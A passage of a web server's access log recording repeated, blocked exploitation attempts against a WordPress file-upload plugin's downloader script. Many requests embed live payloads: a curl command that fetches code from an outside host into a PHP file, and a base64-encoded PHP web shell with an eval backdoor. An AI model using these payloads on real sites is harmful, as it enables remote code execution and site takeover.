Safari/537.36"
access_log.01-09.txt:109.237.99.63 www.eawhoa.com - [09/Jan/2025:23:49:14 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2956.17 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:01:18:13 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2772.12 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:01:44:18 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:01:44:19 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:02:05:16 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Windows NT 10.0; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:02:23:13 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:02:23:13 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:03:25:18 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2890.45 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:03:40:26 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:03:40:27 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:04:04:21 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2898.54 Safari/537.36"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:04:19:34 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:04:19:35 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:48.0) Gecko/20100101 Firefox/48.0"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:05:33:01 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:05:40:42 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 10.0; Trident/4.0)"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:05:40:43 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 10.0; Trident/4.0)"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:06:05:17 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:06:19:03 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2829.53 Safari/537.36"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:06:19:06 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2829.53 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:07:38:10 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (X11; Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2754.88 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:07:38:10 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (X11; Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2754.88 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:07:41:34 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2964.36 Safari/537.36"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:08:06:17 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2977.52 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:08:18:18 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2665.1 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:08:18:20 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (X11; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2665.1 Safari/537.36"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:09:36:32 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2980.91 Safari/537.36"
access_log.01-10.txt:109.237.99.63 www.eawhoa.com - [10/Jan/2025:09:36:33 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-so%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2980.91 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:09:52:39 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:49.0) Gecko/20100101 Firefox/49.0"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:10:05:31 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.85 Safari/537.36"
access_log.01-10.txt:87.251.77.180 www.eawhoa.com - [10/Jan/2025:10:12:13 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2705.39 Safari/537.36"
